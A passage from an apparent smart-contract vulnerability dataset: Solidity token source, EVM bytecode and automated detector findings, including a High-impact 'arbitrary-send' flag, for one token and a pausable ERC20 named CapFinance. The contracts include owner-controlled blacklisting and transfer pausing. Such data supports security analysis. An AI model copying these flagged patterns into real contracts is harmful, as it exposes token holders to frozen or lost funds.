function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x6080604052600436106101855760003560e01c806370a08231116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e1461046c578063e6ec64ec146104b2578063f2fde38b146104d2578063fc588c04146104f257600080fd5b8063a9059cbb1461040c578063b515566a1461042c578063cf0848f71461044c57600080fd5b806370a082311461036f578063715018a61461038f5780637c938bb4146103a45780638da5cb5b146103c457806390d49b9d146103ec57806395d89b41146101a857600080fd5b8063313ce5671161013e5780633bbac579116101185780633bbac579146102c8578063437823ec14610301578063476343ee146103215780635342acb41461033657600080fd5b8063313ce5671461027457806331c2d847146102885780633a0f23b3146102a857600080fd5b806306d8ea6b1461019157806306fdde03146101a8578063095ea7b3146101eb57806318160ddd1461021b57806323b872dd1461023f578063293230b81461025f57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610512565b005b3480156101b457600080fd5b50604080518082018252600b81526a26a2a0a729a4a6a829a7a760a91b602082015290516101e291906119ff565b60405180910390f35b3480156101f757600080fd5b5061020b610206366004611a79565b61055e565b60405190151581526020016101e2565b34801561022757600080fd5b506646a9d9809520005b6040519081526020016101e2565b34801561024b57600080fd5b5061020b61025a366004611aa5565b610575565b34801561026b57600080fd5b506101a66105de565b34801561028057600080fd5b506009610231565b34801561029457600080fd5b506101a66102a3366004611afc565b610692565b3480156102b457600080fd5b506101a66102c3366004611bc1565b610728565b3480156102d457600080fd5b5061020b6102e3366004611be3565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561030d57600080fd5b506101a661031c366004611be3565b610765565b34801561032d57600080fd5b506101a66107b3565b34801561034257600080fd5b5061020b610351366004611be3565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561037b57600080fd5b5061023161038a366004611be3565b6107ed565b34801561039b57600080fd5b506101a661080f565b3480156103b057600080fd5b506101a66103bf366004611be3565b610845565b3480156103d057600080fd5b506000546040516001600160a01b0390911681526020016101e2565b3480156103f857600080fd5b506101a6610407366004611be3565b610aa0565b34801561041857600080fd5b5061020b610427366004611a79565b610b1a565b34801561043857600080fd5b506101a6610447366004611afc565b610b27565b34801561045857600080fd5b506101a6610467366004611be3565b610c40565b34801561047857600080fd5b50610231610487366004611c00565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104be57600080fd5b506101a66104cd366004611c39565b610c8b565b3480156104de57600080fd5b506101a66104ed366004611be3565b610cfd565b3480156104fe57600080fd5b506101a661050d366004611c39565b610d95565b6000546001600160a01b031633146105455760405162461bcd60e51b815260040161053c90611c52565b60405180910390fd5b6000610550306107ed565b905061055b81610dd1565b50565b600061056b338484610f4b565b5060015b92915050565b600061058284848461106f565b6105d484336105cf85604051806060016040528060288152602001611dcd602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906114ba565b610f4b565b5060019392505050565b6000546001600160a01b031633146106085760405162461bcd60e51b815260040161053c90611c52565b600d54600160a01b900460ff1661066c5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b606482015260840161053c565b600d805460ff60b81b1916600160b81b17905542600e55600f805460ff19166001179055565b6000546001600160a01b031633146106bc5760405162461bcd60e51b815260040161053c90611c52565b60005b8151811015610724576000600560008484815181106106e0576106e0611c87565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061071c81611cb3565b9150506106bf565b5050565b6000546001600160a01b031633146107525760405162461bcd60e51b815260040161053c90611c52565b600f805460ff1916911515919091179055565b6000546001600160a01b0316331461078f5760405162461bcd60e51b815260040161053c90611c52565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600b5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610724573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461056f906114f4565b6000546001600160a01b031633146108395760405162461bcd60e51b815260040161053c90611c52565b6108436000611578565b565b6000546001600160a01b0316331461086f5760405162461bcd60e51b815260040161053c90611c52565b600d54600160a01b900460ff16156108d75760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b606482015260840161053c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561092e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109529190611cce565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561099f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c39190611cce565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a349190611cce565b600d80546001600160a01b039283166001600160a01b0319918216178255600c805494841694821694909417909355600b8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610aca5760405162461bcd60e51b815260040161053c90611c52565b600b80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061056b33848461106f565b6000546001600160a01b03163314610b515760405162461bcd60e51b815260040161053c90611c52565b60005b815181101561072457600d5482516001600160a01b0390911690839083908110610b8057610b80611c87565b60200260200101516001600160a01b031614158015610bd15750600c5482516001600160a01b0390911690839083908110610bbd57610bbd611c87565b60200260200101516001600160a01b031614155b15610c2e57600160056000848481518110610bee57610bee611c87565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c3881611cb3565b915050610b54565b6000546001600160a01b03163314610c6a5760405162461bcd60e51b815260040161053c90611c52565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610cb55760405162461bcd60e51b815260040161053c90611c52565b600f8110610cf85760405162461bcd60e51b815260206004820152601060248201526f03237b713ba1031329033b932b2b23c960851b604482015260640161053c565b600855565b6000546001600160a01b03163314610d275760405162461bcd60e51b815260040161053c90611c52565b6001600160a01b038116610d8c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161053c565b61055b81611578565b6000546001600160a01b03163314610dbf5760405162461bcd60e51b815260040161053c90611c52565b60018111610dcc57600080fd5b600a55565b600d805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e1957610e19611c87565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e969190611cce565b81600181518110610ea957610ea9611c87565b6001600160a01b039283166020918202929092010152600c54610ecf9130911684610f4b565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f08908590600090869030904290600401611ceb565b600060405180830381600087803b158015610f2257600080fd5b505af1158015610f36573d6000803e3d6000fd5b5050600d805460ff60b01b1916905550505050565b6001600160a01b038316610fad5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161053c565b6001600160a01b03821661100e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161053c565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110d35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161053c565b6001600160a01b0382166111355760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161053c565b600081116111975760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161053c565b6001600160a01b03831660009081526005602052604090205460ff161561123f5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a40161053c565b6001600160a01b03831660009081526004602052604081205460ff1615801561128157506001600160a01b03831660009081526004602052604090205460ff16155b80156112975750600d54600160a81b900460ff16155b80156112c75750600d546001600160a01b03858116911614806112c75750600d546001600160a01b038481169116145b156114a857600d54600160b81b900460ff166113255760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e604482015260640161053c565b50600d546001906001600160a01b0385811691161480156113545750600c546001600160a01b03848116911614155b80156113625750600f5460ff165b156113b2576000611372846107ed565b905061139b6064611395600a546646a9d9809520006115c890919063ffffffff16565b90611647565b6113a58483611689565b11156113b057600080fd5b505b600e544214156113e0576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006113eb306107ed565b600d54909150600160b01b900460ff161580156114165750600d546001600160a01b03868116911614155b156114a65780156114a657600d5461144a9060649061139590600f90611444906001600160a01b03166107ed565b906115c8565b81111561147757600d546114749060649061139590600f90611444906001600160a01b03166107ed565b90505b600061148482600f611647565b90506114908183611d5c565b915061149b816116e8565b6114a482610dd1565b505b505b6114b484848484611718565b50505050565b600081848411156114de5760405162461bcd60e51b815260040161053c91906119ff565b5060006114eb8486611d5c565b95945050505050565b600060065482111561155b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161053c565b600061156561181b565b90506115718382611647565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826115d75750600061056f565b60006115e38385611d73565b9050826115f08583611d92565b146115715760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161053c565b600061157183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061183e565b6000806116968385611db4565b9050838110156115715760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161053c565b600d805460ff60b01b1916600160b01b1790556117083061dead8361106f565b50600d805460ff60b01b19169055565b80806117265761172661186c565b60008060008061173587611888565b6001600160a01b038d166000908152600160205260409020549397509195509350915061176290856118cf565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546117919084611689565b6001600160a01b0389166000908152600160205260409020556117b381611911565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117f891815260200190565b60405180910390a3505050508061181457611814600954600855565b5050505050565b600080600061182861195b565b90925090506118378282611647565b9250505090565b6000818361185f5760405162461bcd60e51b815260040161053c91906119ff565b5060006114eb8486611d92565b60006008541161187b57600080fd5b6008805460095560009055565b60008060008060008061189d87600854611999565b9150915060006118ab61181b565b90506000806118bb8a85856119c6565b909b909a5094985092965092945050505050565b600061157183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114ba565b600061191b61181b565b9050600061192983836115c8565b306000908152600160205260409020549091506119469082611689565b30600090815260016020526040902055505050565b60065460009081906646a9d9809520006119758282611647565b821015611990575050600654926646a9d98095200092509050565b90939092509050565b600080806119ac606461139587876115c8565b905060006119ba86836118cf565b96919550909350505050565b600080806119d486856115c8565b905060006119e286866115c8565b905060006119f083836118cf565b92989297509195505050505050565b600060208083528351808285015260005b81811015611a2c57858101830151858201604001528201611a10565b81811115611a3e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461055b57600080fd5b8035611a7481611a54565b919050565b60008060408385031215611a8c57600080fd5b8235611a9781611a54565b946020939093013593505050565b600080600060608486031215611aba57600080fd5b8335611ac581611a54565b92506020840135611ad581611a54565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b0f57600080fd5b823567ffffffffffffffff80821115611b2757600080fd5b818501915085601f830112611b3b57600080fd5b813581811115611b4d57611b4d611ae6565b8060051b604051601f19603f83011681018181108582111715611b7257611b72611ae6565b604052918252848201925083810185019188831115611b9057600080fd5b938501935b82851015611bb557611ba685611a69565b84529385019392850192611b95565b98975050505050505050565b600060208284031215611bd357600080fd5b8135801515811461157157600080fd5b600060208284031215611bf557600080fd5b813561157181611a54565b60008060408385031215611c1357600080fd5b8235611c1e81611a54565b91506020830135611c2e81611a54565b809150509250929050565b600060208284031215611c4b57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cc757611cc7611c9d565b5060010190565b600060208284031215611ce057600080fd5b815161157181611a54565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d3b5784516001600160a01b031683529383019391830191600101611d16565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611d6e57611d6e611c9d565b500390565b6000816000190483118215151615611d8d57611d8d611c9d565b500290565b600082611daf57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611dc757611dc7611c9d565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220df2bd873ceb328affc6330e9a0b7ed9ee79b50cc6dc0c9b88783b7c6e6f6df3a64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,325 |
0x933c95396c88fbe86f1cad60df643c2007b13754
|
pragma solidity ^0.5.0;
/*****************************************************************************
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
/*****************************************************************************
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*****************************************************************************
* @dev Basic implementation of the `IERC20` interface.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
/*****************************************************************************
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Paused();
event Unpaused();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Paused();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpaused();
}
}
/**
* @title Pausable token
* @dev ERC20 modified with pausable transfers.
**/
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
/*****************************************************************************
* @title CapFinance v1.3
* @dev CapFinance v1.3 is an ERC20 implementation of the CapFinance v1.3 ecosystem token.
* All tokens are initially pre-assigned to the creator, and can later be distributed
* freely using transfer transferFrom and other ERC20 functions.
*/
contract CapFinance is Ownable, ERC20Pausable {
string public constant name = "cap.finance 1.5";
string public constant symbol = "CAPF";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 100000*10**uint256(decimals);
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor () public {
_mint(msg.sender, initialSupply);
}
/**
* @dev Destoys `amount` tokens from the caller.
*
* See `ERC20._burn`.
*/
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
/**
* @dev See `ERC20._burnFrom`.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
event DepositReceived(address indexed from, uint256 value);
}
|
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b4114610345578063a457c2d71461034d578063a9059cbb14610379578063dd62ed3e146103a5578063f2fde38b146103d35761012c565b806370a08231146102bf57806379cc6790146102e55780638456cb59146103115780638da5cb5b146103195780638f32d59b1461033d5761012c565b8063378dc3dc116100f4578063378dc3dc1461025c57806339509351146102645780633f4ba83a1461029057806342966c681461029a5780635c975abb146102b75761012c565b806306fdde0314610131578063095ea7b3146101ae57806318160ddd146101ee57806323b872dd14610208578063313ce5671461023e575b600080fd5b6101396103f9565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101da600480360360408110156101c457600080fd5b506001600160a01b038135169060200135610424565b604080519115158252519081900360200190f35b6101f661044f565b60408051918252519081900360200190f35b6101da6004803603606081101561021e57600080fd5b506001600160a01b03813581169160208101359091169060400135610455565b610246610482565b6040805160ff9092168252519081900360200190f35b6101f6610487565b6101da6004803603604081101561027a57600080fd5b506001600160a01b038135169060200135610495565b6102986104b9565b005b610298600480360360208110156102b057600080fd5b5035610560565b6101da61056d565b6101f6600480360360208110156102d557600080fd5b50356001600160a01b031661057d565b610298600480360360408110156102fb57600080fd5b506001600160a01b038135169060200135610598565b6102986105a6565b610321610654565b604080516001600160a01b039092168252519081900360200190f35b6101da610663565b610139610674565b6101da6004803603604081101561036357600080fd5b506001600160a01b038135169060200135610694565b6101da6004803603604081101561038f57600080fd5b506001600160a01b0381351690602001356106b8565b6101f6600480360360408110156103bb57600080fd5b506001600160a01b03813581169160200135166106dc565b610298600480360360208110156103e957600080fd5b50356001600160a01b0316610707565b6040518060400160405280600f81526020016e6361702e66696e616e636520312e3560881b81525081565b600354600090600160a01b900460ff161561043e57600080fd5b6104488383610801565b9392505050565b60025490565b600354600090600160a01b900460ff161561046f57600080fd5b61047a848484610817565b949350505050565b601281565b69152d02c7e14af680000081565b600354600090600160a01b900460ff16156104af57600080fd5b610448838361086e565b6104c1610663565b610512576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff1661052857600080fd5b6003805460ff60a01b191690556040517fa45f47fdea8a1efdd9029a5691c7f759c32b7c698632b563573e155625d1693390600090a1565b61056a33826108aa565b50565b600354600160a01b900460ff1681565b6001600160a01b031660009081526020819052604090205490565b6105a28282610983565b5050565b6105ae610663565b6105ff576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff161561061657600080fd5b6003805460ff60a01b1916600160a01b1790556040517f9e87fac88ff661f02d44f95383c817fece4bce600a3dab7a54406878b965e75290600090a1565b6003546001600160a01b031690565b6003546001600160a01b0316331490565b6040518060400160405280600481526020016321a0a82360e11b81525081565b600354600090600160a01b900460ff16156106ae57600080fd5b61044883836109c8565b600354600090600160a01b900460ff16156106d257600080fd5b6104488383610a04565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61070f610663565b610760576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166107a55760405162461bcd60e51b8152600401808060200182810382526026815260200180610d1a6026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b600061080e338484610a11565b50600192915050565b6000610824848484610afd565b6001600160a01b03841660009081526001602090815260408083203380855292529091205461086491869161085f908663ffffffff610c3f16565b610a11565b5060019392505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161080e91859061085f908663ffffffff610c9c16565b6001600160a01b0382166108ef5760405162461bcd60e51b8152600401808060200182810382526021815260200180610d626021913960400191505060405180910390fd5b600254610902908263ffffffff610c3f16565b6002556001600160a01b03821660009081526020819052604090205461092e908263ffffffff610c3f16565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b61098d82826108aa565b6001600160a01b0382166000908152600160209081526040808320338085529252909120546105a291849161085f908563ffffffff610c3f16565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161080e91859061085f908663ffffffff610c3f16565b600061080e338484610afd565b6001600160a01b038316610a565760405162461bcd60e51b8152600401808060200182810382526024815260200180610da86024913960400191505060405180910390fd5b6001600160a01b038216610a9b5760405162461bcd60e51b8152600401808060200182810382526022815260200180610d406022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610b425760405162461bcd60e51b8152600401808060200182810382526025815260200180610d836025913960400191505060405180910390fd5b6001600160a01b038216610b875760405162461bcd60e51b8152600401808060200182810382526023815260200180610cf76023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054610bb0908263ffffffff610c3f16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610be5908263ffffffff610c9c16565b6001600160a01b03808416600081815260208181526040918290209490945580518581529051919392871